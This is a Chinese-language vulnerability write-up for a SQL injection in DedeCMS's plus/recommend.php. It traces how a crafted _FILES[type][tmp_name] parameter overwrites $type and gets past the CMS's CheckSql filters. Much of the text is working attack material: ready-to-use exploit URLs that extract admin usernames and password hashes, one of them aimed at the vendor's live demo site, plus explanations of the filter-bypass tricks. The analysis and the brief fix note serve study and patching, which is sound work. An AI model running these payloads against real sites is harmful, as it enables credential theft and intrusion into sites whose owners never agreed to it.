1.首先执行到plus/recommand.php,包含了include/common.inc.php
require_once(dirname(__FILE__)."/../include/common.inc.php");
2来看到include/common.inc.php
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k =>$_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } if (!defined('DEDEREQUEST')) { //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k== 'nvarname') ${$_k} = $_v; else${$_k} = _RunMagicQuotes($_v); } } }
只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入
3.然后142行又包含了include/uploadsafe.inc.php文件
在29行处,URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖
$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
4.回到recommand.php中,注入语句被带入数据库查询,代码38行:
$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
漏洞Exp:
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
参数如下:
?action= &aid=1 &_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+ &_FILES[type][name]=1.jpg &_FILES[type][type]=application/octet-stream &_FILES[type][size]=4294
其中最重要的参数是_FILES[type][tmp_name]
0.原始数据
\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
1.URL提交进来后,\ 和 ’ 分别被转义成 \\ 和 \’
\\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`
2.URL被带入include/common.inc.php中检查,此步数据未发生变化
3.然后来到了include/uploadsafe.inc.php中,经过第29行str_replace后,\\被过滤成了\
$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'`
此时引号被成功的带入了查询语句中
4.回到plus/recommend.php中,第38行,此时SQL语句被拼成如下:
SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` '
5.跟踪GetOne函数,来到include/dedesqli.class.php,346行SetQuery函数,将SQL语句中的表前缀#@_替换回真成的前缀
SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '
6.然后执行了Execute函数,转到288行Execute函数的定义,看到在执行SQL之前对其进行了检查
(1)第一次SQL注入检测。跟踪到CheckSql函数中,首先是对sql语句的一次正则,主要看是否存在union|sleep|benchmark|load_file|outfile等关键字,
用正则工具测试,可以看到此时的SQL语句可以绕过第一次sql注入检测
(2)第二次SQL注入检测。主要在第626行的While循环中,将所有单引号之间的字符串全部替换成$s$
//完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string,'\'', $pos + 1); $pos2 = strpos($db_string,'\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2> $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),$clean)));
经过此次过滤后,SQL语句变成(注意被替换掉的部分):
select s.*,t.* from `dede_member_stow` as sleft join `dede_member_stowtype` as t on s.type=t.stowname where s.aid=$s$ ands.type=$s$ or mid=@`\\$s$` $s$
紧接下来是另一次的union|sleep|benchmark|load_file|outfile等关键字检测,此时的正则规则更严格,但union,select等关键字已被替换成$s$,因此不会触发正则
7.CheckSql函数仅是对sql语句进行检测,并不会改变原来的查询语句,Sql检查完成后,回到Execute函数,5中的SQL语句最终被带入查询
SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '
8.Sql成功执行,查询结果以数组的形式返回给plus/recommend.php中的$arcRow中(38行),最终显示回显到Web页面上
$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
注:
所构造SQL语句中的几个关键点:
\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
还原成非URL编码,看起来更直观:
\' or mid=@`\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\'`
(1)or mid=@`\’` 和尾部#@`\'` 存在的意义。刚开始一直没明白加入mid有什么作用,但去掉后就无法正常执行SQL查询,后来发现,在checksql函数中第二次SQL检查时,这两个里的单引号正好可以匹配SQL检查中的规则,使得单引号中的所有字符被替换成$s$,从而躲过下面的union,select等关键字匹配(其实尾部不需要再添加一个单引号了,但#号是必须的,因为在plus/recommand.php第38行拼接SQL时,最后有一个单引号来闭合前面的了,可参考本节后修改后的Exp)。mid可以为dede_member_stow表或dede_member_stowtype表中其它字段名,如id等,只要最终的SQL能成功执行即可。@标签可以屏蔽执行时的错误(不知道具体为什么),尾部的#号将其后的字符注释掉,防止错误。
(2)/*!50000union*//*!50000select*/。这种写法是Mysql中特有的方式,MySQL服务器包含一些其他SQLDBMS中不具备的扩展。在某些情况下,可以编写包含MySQL扩展的代码,但仍保持其可移植性,方法是用“/*... */”注释掉这些扩展。如果在字符“!”后添加了版本号,仅当MySQL的版本等于或高于指定的版本号时才会执行注释中的语法。具体参考:http://blog.itpub.net/82392/viewspace-406705
此例中,union和select虽然被注释符包围,但根据Mysql的这个特性,仍然能够执行。50000表示Mysql版本大于5.0
(3)CONCAT(0x7c,userid,0x7c,pwd)。这个就很容易理解了,将userid和pwd两个字段的查询结果拼成一个字符串,方便处理,查询结果类似:|admin|f297a57a5a743894a0e4
根据以上分析,可以将Exp修改如下:(截止到2014.3.5,官方演示站点仍可执行成功)
http://v57.demo.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
漏洞修复:
根据官方发布的漏洞补丁,主要修改文件include/uploadsafe.inc.php中第29行(上面为修复前,下面为修复后):
参考:
[1] http://0day5.com/archives/1346
[2] http://blog.itpub.net/82392/viewspace-406705
第一次分析代码,如有错误或不足,肯请指正!Email:change518#163.com